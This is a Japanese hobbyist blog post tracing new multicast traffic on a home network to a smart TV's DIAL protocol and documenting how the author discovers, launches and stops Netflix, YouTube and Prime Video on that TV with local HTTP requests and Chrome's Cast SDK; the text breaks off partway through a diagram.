日頃の監視と増えた謎のリクエスト\n\n自宅のシステムを管理する上で、ネットワーク監視は重要なものと言えます。\nそんな監視システムが異常を検知したと言うのでパケットを見てみると、ある日を境に自宅ネットワークに何やら見慣れないものが大量に流れ始めていました。\n\n\n\n`M-SEARCH * HTTP/1.1`で始まるUDPパケットから見慣れたUPnP(Universal Plug and Play)の探索リクエストというのはわかるのですが、これが今まで以上に飛び交うようになっていたのです。\nリクエストの中身には、`urn:dial-multiscreen-org:service:dial:1`というリソース名(URN)を持っていることがわかります。\n\n[Universal Plug and Play - Wikipedia](https://ja.m.wikipedia.org/wiki/Universal_Plug_and_Play)\n\n## オープンDIALプロトコル\n\nこのURNが示すものとは一体何なのか、日本語での解説は唯一、Amazonの開発者向けサイトに記載がありました。\n\n\n> ### DIALについて\n> Amazon Fire TVデバイスは、Whisperplayサービスを介してDIAL(Discovery-and-Launch)プロトコルをサポートします。DIALは、別のデバイスからセカンドスクリーンアプリを使用してFire TV対応アプリを検出し起動できるようにするオープンプロトコルです。そのためには、Fire TVとセカンドスクリーンデバイスが同じネットワークに存在する必要があります。\n>\n> DIALは、キャスティングやミラーリングの機能を提供するAPIではありません。セカンドスクリーンデバイスのアプリがFire TVでアプリを見つけて起動できるようにするだけです。通常は、セカンドスクリーンアプリ(起動メッセージの送信側)と、対応するファーストスクリーンアプリであるFire TV対応アプリ(メッセージの受信側)の両方を実装します。\n\n引用元: [DIALの統合 \\| Amazon Fire TV](https://developer.amazon.com/ja/docs/fire-tv/dial-integration.html#about-dial)\n\n\nなるほど、Fire TVなどのスマートテレビデバイスにあるアプリケーションを検出して起動するためのオープンなプロトコルであるとのことです。\nDIAL公式サイトでプロトコル仕様のPDFが提供されていました。\n\n[DIAL —DIscovery And Launch— \\| www.dial-multiscreen.org](http://www.dial-multiscreen.org/) \n\n## DIALを喋る相手を突き止める\n\nしかしながら、我が家にはFire TVはありません。一体どのデバイスがこのDIALを喋るようになってしまったのでしょうか。\n仕様書を読みながら簡単に検出スクリプトを書いて実行してみます。\n\n<script src=\"https://gist.github.com/mzyy94/aa25615639fd3466d37bac7da204778e.js?file=discover-dial.py\"></script>\n\nこれを実行すると、標準出力には次のような内容が出力されました。\n\n```\nHTTP/1.1 200 OK\nLOCATION: http://192.168.181.222:56790/dd.xml\nCACHE-CONTROL: max-age=1800\nEXT:\nBOOTID.UPNP.ORG: 1\nSERVER: Linux/2.6 UPnP/1.0 quick_ssdp/1.0\nST: urn:dial-multiscreen-org:service:dial:1\nUSN: uuid:82152303-4d0c-4cba-92e8-9614ee8aff70::urn:dial-multiscreen-org:service:dial:1\nWAKEUP: MAC=96:14:ee:8a:ff:70;Timeout=120\n```\n\n仕様書と照らし合わせて読むと、HTTPプロトコルで `http://192.168.181.222:56790/dd.xml` に DIALの Device Description があるとわかります。\n\nこのURLを開いてみると、次のようになっていました。\n\n\n\nDIALを喋っている子は先日買い替えた75インチテレビのHISENSE-75A6Gでした!\n振り返ってみると、ちょうどテレビを買い替えた日からUPnPのマルチキャストパケットが大量発生していました!\nインターネットテレビに対応したスマートTVを導入したのが今回が初めてなので、それによって急増したマルチキャストパケットが異常としてアラートに引っかかってしまったのです。\n\n[インターネットテレビ - Wikipedia](https://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88%E3%83%86%E3%83%AC%E3%83%93)\n\n<a href=\"https://www.amazon.co.jp/%E3%83%8F%E3%82%A4%E3%82%BB%E3%83%B3%E3%82%B9-4K%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC%E5%86%85%E8%94%B5-75A6G-%E3%83%8D%E3%83%83%E3%83%88%E5%8B%95%E7%94%BB%E5%AF%BE%E5%BF%9C-2021%E5%B9%B4%E3%83%A2%E3%83%87%E3%83%AB/dp/B098JV7JC8?&linkCode=li3&tag=mzyy-22&linkId=6cad0fdb4c7fae0a98487e2a098f2043&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B098JV7JC8&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| ハイセンス 75V型 4Kチューナー内蔵 液晶 テレビ 75A6G ネット動画対応 ADSパネル 3年保証 2021年モデル \\| テレビ 通販](https://www.amazon.co.jp/%E3%83%8F%E3%82%A4%E3%82%BB%E3%83%B3%E3%82%B9-4K%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC%E5%86%85%E8%94%B5-75A6G-%E3%83%8D%E3%83%83%E3%83%88%E5%8B%95%E7%94%BB%E5%AF%BE%E5%BF%9C-2021%E5%B9%B4%E3%83%A2%E3%83%87%E3%83%AB/dp/B098JV7JC8?&linkCode=ll1&tag=mzyy-22&linkId=a90e349597c856927668ba8438365d19&language=ja_JP&ref_=as_li_ss_tl)\n\n## DIALでNetflixを操作する\n\nDIALプロトコルはNetflixが策定しています。そしてHISENSE-75A6GにはNetflixアプリが搭載されています。\nこのNetflixがリファレンス実装をしていると想定し、仕様書に書かれている手順を用いてDIALでNetflixを起動してみるとします。\n\nDIALでは先ほどのDevice Descriptionのレスポンスヘッダーにあった**Application-URL:**をベースとして、末尾にアプリケーション名を追加したエンドポイントを**Application Resource URL**と呼び、そこに対してリクエストを行います。\nここで用いるアプリケーション名は、DIAL Registryに登録されていると仕様書に書かれています。\n\n[Application Name/Prefix Registry - DIAL](http://www.dial-multiscreen.org/dial-registry/namespace-database)\n\n早速Netflixのアプリケーション名をDIAL Registryで探したところ、`Netflix`でした。\nこの`Netflix`とApplication-URLの`http://192.168.181.222:56789/apps/`を合わせた`http://192.168.181.222:56789/apps/Netflix`がエンドポイントとなります。\n\nこのエンドポイントを例にとると、Netflixアプリに対して次のような操作が可能となっています。\n\n- `GET /apps/Netflix`: Netflixの情報の取得\n- `POST /apps/Netflix`: Netflixの起動\n- `POST /apps/Netflix/run/hide`: Netflixの非表示\n- `DELETE /apps/Netflix/run`: Netflixの終了\n\nこれを踏まえて、DIALでアプリケーションを起動するためのフローは次のようになっています。\n\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" contentScriptType=\"application/ecmascript\" contentStyleType=\"text/css\" preserveAspectRatio=\"none\" style=\"background:#0B58A8;\" version=\"1.1\" viewBox=\"0 0 704 398\">\n<g>\n<rect fill=\"#0B58A8\" height=\"35.6094\" style=\"stroke:#0B58A8;stroke-width:0.0;\" width=\"500\" x=\"106\" y=\"10\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"22\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"490\" x=\"111\" y=\"35.4209\">DIAL REST Service: Application Launch</text>\n<rect fill=\"#0B58A8\" height=\"110.5313\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"683\" x=\"15\" y=\"99.9063\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"107\" x2=\"107\" y1=\"82.9063\" y2=\"362.9688\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"484.5\" x2=\"484.5\" y1=\"82.9063\" y2=\"362.9688\"/>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"145\" x=\"35\" y=\"51.6094\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"131\" x=\"42\" y=\"71.6045\">DIAL REST Service</text>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"145\" x=\"35\" y=\"361.9688\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"131\" x=\"42\" y=\"381.9639\">DIAL REST Service</text>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"94\" x=\"437.5\" y=\"51.6094\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"80\" x=\"444.5\" y=\"71.6045\">DIAL Client</text>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"94\" x=\"437.5\" y=\"361.9688\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"80\" x=\"444.5\" y=\"381.9639\">DIAL Client</text>\n<path d=\"M15,99.9063 L87,99.9063 L87,106.9063 L77,116.9063 L15,116.9063 L15,99.9063 \" fill=\"#FFFFFF\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<rect fill=\"none\" height=\"110.5313\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"683\" x=\"15\" y=\"99.9063\"/>\n<text fill=\"#0B58A8\" font-family=\"Verdana\" font-size=\"13\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"27\" x=\"30\" y=\"112.9731\">opt</text>\n<path d=\"M489,122.0391 L489,147.0391 L688,147.0391 L688,132.0391 L678,122.0391 L489,122.0391 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M678,122.0391 L678,132.0391 L688,132.0391 L678,122.0391 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"178\" x=\"495\" y=\"139.106\">Find out if Netflix app exists</text>\n<polygon fill=\"#FFFFFF\" points=\"118.5,169.3047,108.5,173.3047,118.5,177.3047,114.5,173.3047\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"112.5\" x2=\"483.5\" y1=\"173.3047\" y2=\"173.3047\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"213\" x=\"124.5\" y=\"168.2388\">(1) GET &lt;Application-URL&gt;Netflix</text>\n<polygon fill=\"#FFFFFF\" points=\"472.5,198.4375,482.5,202.4375,472.5,206.4375,476.5,202.4375\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"107.5\" x2=\"478.5\" y1=\"202.4375\" y2=\"202.4375\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"68\" x=\"114.5\" y=\"197.3716\">(2) 200 OK</text>\n<path d=\"M489,222.4375 L489,247.4375 L629,247.4375 L629,232.4375 L619,222.4375 L489,222.4375 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<path d=\"M619,222.4375 L619,232.4375 L629,232.4375 L619,222.4375 \" fill=\"#0B58A8\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"119\" x=\"495\" y=\"239.5044\">Launch Netflix app</text>\n<polygon fill=\"#FFFFFF\" points=\"118.5,269.7031,108.5,273.7031,118.5,277.7031,114.5,273.7031\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"112.5\" x2=\"483.5\" y1=\"273.7031\" y2=\"273.7031\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"353\" x=\"124.5\" y=\"268.6372\">(3) POST &lt;Application-URL&gt;Netflix (optional argument)</text>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"107.5\" x2=\"149.5\" y1=\"302.8359\" y2=\"302.8359\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"149.5\" x2=\"149.5\" y1=\"302.8359\" y2=\"315.8359\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"108.5\" x2=\"149.5\" y1=\"315.8359\" y2=\"315.8359\"/>\n<polygon fill=\"#FFFFFF\" points=\"118.5,311.8359,108.5,315.8359,118.5,319.8359,114.5,315.8359\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"256\" x=\"114.5\" y=\"297.77\">Launch Netflix app w/optional argument</text>\n<polygon fill=\"#FFFFFF\" points=\"472.5,340.9688,482.5,344.9688,472.5,348.9688,476.5,344.9688\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"107.5\" x2=\"478.5\" y1=\"344.9688\" y2=\"344.9688\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"244\" x=\"114.5\" y=\"339.9028\">(4) 201 CREATED w/LOCATION header</text>\n</g>\n</svg>\n\n\n### DIALでNetflixの状態を確認する\n\nまず状態を確認するため、GETリクエストを送ってみます。\n\n```\n$ curl -s 'http://192.168.181.222:56789/apps/Netflix'\n```\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<service xmlns=\"urn:dial-multiscreen-org:schemas:dial\" dialVer=\"2.2\">\n <name>Netflix</name>\n <options allowStop=\"true\"/>\n <state>stopped</state>\n <additionalData>\n\n </additionalData>\n</service>\n```\n\nおお、ちゃんとそれらしきレスポンスが返っててきました。\n\n### DIALでNetflixを起動してみる\n\n同じエンドポイントに対してPOSTリクエストを送ることで、テレビにはNetflixの画面が映し出され、起動することができました。\n\n```\n$ curl -XPOST -s -D - 'http://192.168.181.222:56789/apps/Netflix'\n```\n\n```\nHTTP/1.1 201 Created\nContent-Type: text/plain\nLocation: http://192.168.181.222:56789/apps/Netflix/run\nAccess-Control-Allow-Origin: (null)\n```\n\nレスポンスヘッダーに含まれるLocationが示すURLが、現在起動中のインスタンスに対するREST操作を受け付けるエンドポイントとなります。\n\n### DIALでNetflixを非表示にする\n\nインスタンスのエンドポイントに`/hide`を加えたURLに対してPOSTリクエストを行うと、現在起動中のDIALアプリケーションを非表示にしてバックグラウンド動作に切り替えられます。\n\n```\n$ curl -XPOST -s -D - 'http://192.168.181.222:56789/apps/Netflix/run/hide'\n```\n\n```\nHTTP/1.1 503 Service Unavailable\nContent-Type: text/plain\nContent-Length: 50\nConnection: close\n\nError 503: Service Unavailable\nService Unavailable\n```\n\nなぜか503エラーが返ってきますが、テレビで起動しているNetflixは非表示になり、起動する前の画面に戻りました。\n\n### DIALでNetflixを終了する\n\nインスタンスのエンドポイントに対してDELETEリクエストを行うと、現在起動中のDIALアプリケーションを終了できます。\n\n```\n$ curl -XDELETE -D - 'http://192.168.181.222:56789/apps/Netflix/run'\n```\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/plain\nAccess-Control-Allow-Origin: (null)\n```\n\nテレビで起動しているNetflixは終了し、成功レスポンスが返ってきました。\n\n## 他のアプリも操作してみる\n\nHISENSE-75A6GにはいくつかVODサービスが登録されているので、DIAL Registryに登録されているものを探してみました。\n\nVODサービス名 | DIAL対応 | DIALアプリケーション名\n:----|:---:|:---\nNetflix | ○ | `Netflix`\nYouTube | ○ | `YouTube`\nPrime Video | ○ | `AmazonInstantVideo`\nHulu | × | n/a\nABEMA | × | n/a\nU-NEXT | × | n/a\ndTV | × | n/a\nParavi | × | n/a\nスカパー | × | n/a\nTSUTAYA TV | × | n/a\nDMM.com | × | n/a\nRakuten TV | × | n/a\n\n\nDIAL RegistryにはHuluの名前はあるものの、日本のHuluは本家Huluとは別物の\"名ばかりHulu\"[^1]なので、DIALには対応していないようです。\n\n[^1]: [happyonとは結局何だったのか……huluがドメイン名を元の「hulu.jp」へと再変更【やじうまWatch】 - INTERNET Watch](https://internet.watch.impress.co.jp/docs/yajiuma/1205378.html)\n\nNetflixの例では特にリクエストヘッダーをつけなくても`curl`でDIALリクエストを送ることができていました。\nしかしYouTubeは、Netflixの例で示したようなシンプルなリクエストでは403エラーで弾かれてしまいます。\nこれを解決するにはDIALプロトコル仕様の**6.6 CORS Requirements and CORS Access Control Policy**を読み込み、開発者の意図を汲み取る必要があります。\n\n6.6には次のように記されています。\n\n<style>\n.second-lower-alpha ol ol {\n list-style-type: lower-alpha;\n}\n</style>\n\n> Whenever an HTTP request is made against an Application Resource, the DIAL server should run the following checks:\n> 1. If the `ORIGIN` header is absent in the request, the CORS check is not applicable and the request is allowed.\n> 2. If the `ORIGIN` header is present in the request:\n> 1. The `ORIGIN` header may indicate the https scheme. The full hostname of the `ORIGIN` header must match one of the domains authorized for the https scheme. Alternatively, all single-level subdomains within a specific authorized domain may be accepted if explicitly authorized by a DIAL application. The set of authorized domains is specific to each DIAL application.\n> 2. Additional `ORIGIN` header schemes that are considered secure resources may also be accepted, such as the `package` scheme.\n{: .second-lower-alpha }\n\nリクエストにOriginヘッダーなければリクエストが許可され、Originヘッダーがある場合は、そのドメインでCORS判定を行うよう書かれています。\nこの仕様に従うと、Netflixのようにリクエストヘッダーをつけなくても、すなわちOriginヘッダーが無くてもリクエストは許可されるはずですが、YouTubeは403エラーが出ます。\n\nここからが肝心なところなのですが、この節は**should**で書かれています。\n開発者の意図を汲み取り、きっとYouTubeの開発者はOriginヘッダーが無い場合にリクエストを許可する実装を**あえてしなかった**と推測する必要があります。\nそれができればあとは簡単で、`Origin: https://www.youtube.com`をリクエストヘッダーにつけてあげればNetflixと同様のDIAL操作ができるようになります。\n\n挙動を調べてみたところ、今回見つかったDIALアプリが許容するOriginヘッダーの値は次の通りでした。後に判明したことですが、後述するホワイトリストにいくつかのアプリの許容オリジンが書かれています。\n\n- Netflix: `https://www.netflix.com`, `package:`スキーマで始まる任意のURI\n- YouTube: `https://www.youtube.com`, `package:`スキーマで始まる任意のURI\n- Amazon: `https://www.amazon.com`, `package:`スキーマで始まる任意のURI\n\n\n## DIAL対応アプリと挙動\n\n冒頭で紹介したAmazon開発者サイトの説明にあった通り、DIALは対応アプリの探索と起動をするプロトコルで、_キャスティングやミラーリングの機能を提供するAPIではありません_。\n仕様を見ても挙動を確認しても、**探索と起動しか**できないことがわかりました。\n\nそんなDIALの使いどころとは、いったいどこにあるんでしょうか。\n\n単純な起動をするだけのこのプロトコルはどういった目的で使われるのか、その答えも単純で、スマホアプリなどが同じネットワークに存在する対応アプリを探索し起動までをするためです。\n起動までできれば、あとはアプリの範囲内で自由にネットワーク通信を確立できるので、相互にTCP/IPで接続しあったりサービスのAPIを用いてクラウドを経由したりと思い思いの手段を用い、動画の再生をコントロールするようになります。\n\n手持ちのデバイスでは、NetflixのiOSアプリとYouTubeのiOSアプリ、そして[youtube.com](https://www.youtube.com)にアクセスしているChromeやVivaldiなどのChromiumベースのブラウザが、このDIALによってDIAL対応アプリを探索し起動していました。\n\n<style>\nimg[alt$=\"on iOS\"] {\n width: 40%;\n max-width: 40%;\n}\n</style>\n\n\n\n\n\n\n\n### ChromeのDIALによる起動API\n\n[youtube.com](https://www.youtube.com)にアクセスしているChromeでDIAL操作ができるということは、JavaScriptでDIALによって対応アプリの起動ができるということを意味しています。\n調べてみると、Chromiumの実装は以下の箇所にDIAL関連のソースコードがありました。\n\n[media/router/discovery/dial/chromium/README.md at 94.0.4595.1 · chromium/chromium](https://github.com/chromium/chromium/blob/94.0.4595.1/chrome/browser/media/router/discovery/dial/README.md)\n\nこのmedia/router下の階層のソースコードは[Chrome Media Router](https://chromium.googlesource.com/chromium/src.git/+/refs/heads/main/docs/media/media_router.md)というコンポーネントの実装で、Chromecastなどのデバイスとコンテンツのコントロールを行うブラウザAPIを提供しています。\nこの低いレイヤーのAPIを拡張機能なしでJavaScriptから扱うために、Cast Chrome Sender SDKが使えるとあります。\n\n[Web Sender API \\| Cast \\| Google Developers](https://developers.google.com/cast/docs/reference/web_sender)\n\n早速Cast SDKリファレンスと[インテグレーションガイド](https://developers.google.com/cast/docs/web_sender/integrate)を読み、SDKの中身を紐解きながらDIALアプリの起動コードを実装してみました。DIALで起動させる肝となるのは、Cast Framework APIではなくBase APIを使い、[DialRequest](https://developers.google.com/cast/docs/reference/web_sender/chrome.cast.DialRequest)を正しくセットできるかという部分でした。\n\n```js\nconst sessionRequest = new chrome.cast.SessionRequest(\n chrome.cast.media.DEFAULT_MEDIA_RECEIVER_APP_ID\n);\nsessionRequest.dialRequest = new chrome.cast.DialRequest(dialAppName);\n```\n\n数十行のコードでブラウザから簡単に起動ができるコードが完成したかと思いきや、うまく動きません。実装は絶対に間違っていないのに。。\n\nそこでさらに探っていくと、[NetflixやYouTubeはホワイトリスト形式でドメイン判定](https://github.com/chromium/chromium/blob/94.0.4595.1/chrome/browser/media/router/providers/dial/dial_media_route_provider.cc#L692-L710)があり、特定のオリジンでしかDIALによる起動ができないようになっていました。\nただ、Amazon Prime VideoはChrome 94相当のソースコードには判定コードが含まれていなかったので、Amazon Prime Videoを起動するサンプルを以下に用意しました。\n対応デバイスが同一ネットワークにあれば、Chrome 94前後でAmazon Prime VideoのDIALアプリの起動を試すことができるはずです。\n\n<script src=\"https://gistcdn.githack.com/mzyy94/aa25615639fd3466d37bac7da204778e/raw/c2ae3a90df1824f3bb20a44d6338015e7317eeed/launch_dial.js\"></script>\n<script src=\"https://www.gstatic.com/cv/js/sender/v1/cast_sender.js\"></script>\n<button class=\"btn btn--accent\" onclick=\"window.chrome && chrome.cast ? launchApp('AmazonInstantVideo') : alert('Not supported.')\">Launch Prime Video</button>\n<button class=\"btn btn--danger\" onclick=\"stopApp()\">Stop</button>\n<div class=\"notice notice--accent\" id=\"dial-status\">Waiting to connect.</div>\n\n[Source Code](https://gist.github.com/mzyy94/aa25615639fd3466d37bac7da204778e#file-launch_dial-js)\n\n\n\n\n### DIALによる起動後の操作連携\n\nYouTubeは起動後、こちらはQUICでYouTubeのAPIサーバーと通信して操作があるたびにクラウドを経由して再生コントロールをする形になっていました。\n\nNetflixはというと、TCP 9080ポートでHTTPサーバーをiOSアプリとテレビの両方で立ち上げ、立ち上がっていることをUPnPで確認しあい、次に示すフローで暗号化されたセッション情報を相互に送り合いながら動画の再生コントロールを行っていました。仕組みとしてはMDX(Multiple-Device Experience)[^mdx]を使っていて、CTicketのペイロードにはCBOR[^cbor]が使われるなど、なかなか面白い作りになっていました。\n\n[^mdx]: [MDX User Authentication · Netflix/msl Wiki](https://github.com/Netflix/msl/wiki/MDX-User-Authentication)\n\n[^cbor]: [RFC 8949: Concise Binary Object Representation (CBOR)](https://datatracker.ietf.org/doc/html/rfc8949)\n\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" contentScriptType=\"application/ecmascript\" contentStyleType=\"text/css\" preserveAspectRatio=\"none\" style=\"background:#0B58A8;\" version=\"1.1\" viewBox=\"0 0 695 762\">\n<g>\n<rect fill=\"#0B58A8\" height=\"35.6094\" style=\"stroke:#0B58A8;stroke-width:0.0;\" width=\"361\" x=\"165.75\" y=\"10\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"22\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"351\" x=\"170.75\" y=\"35.4209\">2nd Screen Control Session</text>\n<rect fill=\"#0B58A8\" height=\"468.7266\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"664.5\" x=\"14\" y=\"241.4375\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"183\" x2=\"183\" y1=\"82.9063\" y2=\"717.1641\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:1.0,4.0;\" x1=\"183\" x2=\"183\" y1=\"717.1641\" y2=\"745.1641\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"183\" x2=\"183\" y1=\"745.1641\" y2=\"755.1641\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"444.5\" x2=\"444.5\" y1=\"82.9063\" y2=\"717.1641\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:1.0,4.0;\" x1=\"444.5\" x2=\"444.5\" y1=\"717.1641\" y2=\"745.1641\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:5.0,5.0;\" x1=\"444.5\" x2=\"444.5\" y1=\"745.1641\" y2=\"755.1641\"/>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"87\" x=\"140\" y=\"51.6094\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"73\" x=\"147\" y=\"71.6045\">Controller</text>\n<rect fill=\"#0B58A8\" height=\"30.2969\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"62\" x=\"413.5\" y=\"51.6094\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"14\" lengthAdjust=\"spacing\" textLength=\"48\" x=\"420.5\" y=\"71.6045\">Target</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,110.0391,442.5,114.0391,432.5,118.0391,436.5,114.0391\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"183.5\" x2=\"438.5\" y1=\"114.0391\" y2=\"114.0391\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"221\" x=\"203.5\" y=\"108.9731\">POST /mdxping action=pingsearch</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,139.1719,184.5,143.1719,194.5,147.1719,190.5,143.1719\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"143.1719\" y2=\"143.1719\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"138.106\">200 OK status=ok</text>\n<polygon fill=\"#FFFFFF\" points=\"194.5,193.3047,184.5,197.3047,194.5,201.3047,190.5,197.3047\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"188.5\" x2=\"443.5\" y1=\"197.3047\" y2=\"197.3047\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"237\" x=\"195.5\" y=\"192.2388\">POST /mdxping action=pingresponse</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,222.4375,442.5,226.4375,432.5,230.4375,436.5,226.4375\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;stroke-dasharray:2.0,2.0;\" x1=\"183.5\" x2=\"438.5\" y1=\"226.4375\" y2=\"226.4375\"/>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"13\" lengthAdjust=\"spacing\" textLength=\"115\" x=\"256.5\" y=\"221.3716\">200 OK status=ok</text>\n<path d=\"M14,241.4375 L140,241.4375 L140,248.4375 L130,258.4375 L14,258.4375 L14,241.4375 \" fill=\"#FFFFFF\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<rect fill=\"none\" height=\"468.7266\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"664.5\" x=\"14\" y=\"241.4375\"/>\n<text fill=\"#0B58A8\" font-family=\"Verdana\" font-size=\"13\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"76\" x=\"29\" y=\"254.5044\">encrypted</text>\n<text fill=\"#FFFFFF\" font-family=\"Verdana\" font-size=\"11\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"253\" x=\"155\" y=\"253.6479\">[ AES-128-CBC w/ HMAC-SHA256 hash ]</text>\n<rect fill=\"#FFFFFF\" height=\"3\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"683.5\" x=\"5\" y=\"279.1367\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:0.5;\" x1=\"5\" x2=\"688.5\" y1=\"279.1367\" y2=\"279.1367\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:0.5;\" x1=\"5\" x2=\"688.5\" y1=\"282.1367\" y2=\"282.1367\"/>\n<rect fill=\"#FFFFFF\" height=\"23.1328\" style=\"stroke:#FFFFFF;stroke-width:1.0;\" width=\"71\" x=\"311.25\" y=\"268.5703\"/>\n<text fill=\"#0B58A8\" font-family=\"Verdana\" font-size=\"13\" font-weight=\"bold\" lengthAdjust=\"spacing\" textLength=\"52\" x=\"317.25\" y=\"284.6372\">Pairing</text>\n<polygon fill=\"#FFFFFF\" points=\"432.5,321.8359,442.5,325.8359,432.5,329.8359,436.5,325.8359\" style=\"stroke:#FFFFFF;stroke-width:1.0;\"/>\n<line style=\"stroke:#FFFFFF;stroke-width:1.0;\" x1=\"183.5\" 